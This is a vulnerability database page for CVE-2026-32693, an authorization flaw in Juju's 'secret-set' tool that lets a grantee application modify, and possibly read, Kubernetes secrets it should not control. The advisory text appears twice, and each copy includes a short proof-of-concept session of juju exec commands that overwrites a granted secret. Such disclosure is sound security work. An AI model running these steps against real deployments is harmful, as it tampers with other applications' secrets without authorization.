FlawAtlas
Search the atlas
CVE-2026-32693 High

Juju has unauthorized access to out-of-scope Kubernetes secrets

### Summary Grantee is able to update secret content using the `secret-set` tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value. ### Details When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it. Authorization of the `secret-set` hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets. ### PoC Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI Not tested: - admin (user) secrets - cross-model relations - cross-controller relations ```command ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value" secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0 ingress2/0: workload-version: 24.2.0 opened-ports: [] charm: ch:amd64/nginx-ingress-integrator-203 leader: true life: alive relation-info: - relation-id: 11 endpoint: ingress related-endpoint: ingress application-data: {} related-units: evilator/0: in-scope: true data: egress-subnets: 10.152.183.39/32 ingress-address: 10.152.183.39 private-address: 10.152.183.39 - relation-id: 10 endpoint: nginx-peers related-endpoint: nginx-peers application-data: {} local-unit: in-scope: true data: egress-subnets: 10.152.183.135/32 ingress-address: 10.152.183.135 private-address: 10.152.183.135 provider-id: ingress2-0 address: 10.1.0.100 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" updating secrets: permission denied ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" nice: who-is-nice-now ``` When the grantee attempts to update the the granted secret: - `secret-set` command logs an error, though returns OK return status - the secret value is updated - new secret revision is not created - new value is visible to both owner and grantee ### Impact - the application that owns the secret - a third application, if a secret is granted to multiple parties - any other application that has secrets in the same Kubernetes secret backend

Exploit probability 0.3%
Published March 19, 2026
Required by Not available
Last source change March 23, 2026

02 / AFFECTED SOFTWARE

Affected packages

Go github.com/juju/juju
Unknown Unknown
Go github.com/juju/juju

03 / CONNECTIONS

Connected vulnerabilities

related OPENSUSE-SU-2026:21483-1

04 / EVIDENCE

Source records

Open Source Vulnerabilities CVE-2026-32693

In Juju from version 3.0.0 through 3.6.18, the authorization of the "secret-set" tool is not performed correctly, which allows a grantee to update the secret content, and can lead to reading or updating other secrets. When the "secret-set" tool logs an error in an exploitation attempt, the secret is still updated contrary to expectations, and the new value is visible to both the owner and the grantee.

View original source
Open Source Vulnerabilities GHSA-439w-v2p7-pggc

### Summary Grantee is able to update secret content using the `secret-set` tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value. ### Details When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it. Authorization of the `secret-set` hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets. ### PoC Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI Not tested: - admin (user) secrets - cross-model relations - cross-controller relations ```command ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value" secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0 ingress2/0: workload-version: 24.2.0 opened-ports: [] charm: ch:amd64/nginx-ingress-integrator-203 leader: true life: alive relation-info: - relation-id: 11 endpoint: ingress related-endpoint: ingress application-data: {} related-units: evilator/0: in-scope: true data: egress-subnets: 10.152.183.39/32 ingress-address: 10.152.183.39 private-address: 10.152.183.39 - relation-id: 10 endpoint: nginx-peers related-endpoint: nginx-peers application-data: {} local-unit: in-scope: true data: egress-subnets: 10.152.183.135/32 ingress-address: 10.152.183.135 private-address: 10.152.183.135 provider-id: ingress2-0 address: 10.1.0.100 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" updating secrets: permission denied ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" nice: who-is-nice-now ``` When the grantee attempts to update the the granted secret: - `secret-set` command logs an error, though returns OK return status - the secret value is updated - new secret revision is not created - new value is visible to both owner and grantee ### Impact - the application that owns the secret - a third application, if a secret is granted to multiple parties - any other application that has secrets in the same Kubernetes secret backend

View original source
Open Source Vulnerabilities GO-2026-4777

Juju has unauthorized access to out-of-scope Kubernetes secrets in github.com/juju/juju

View original source

05 / REFERENCES

Further evidence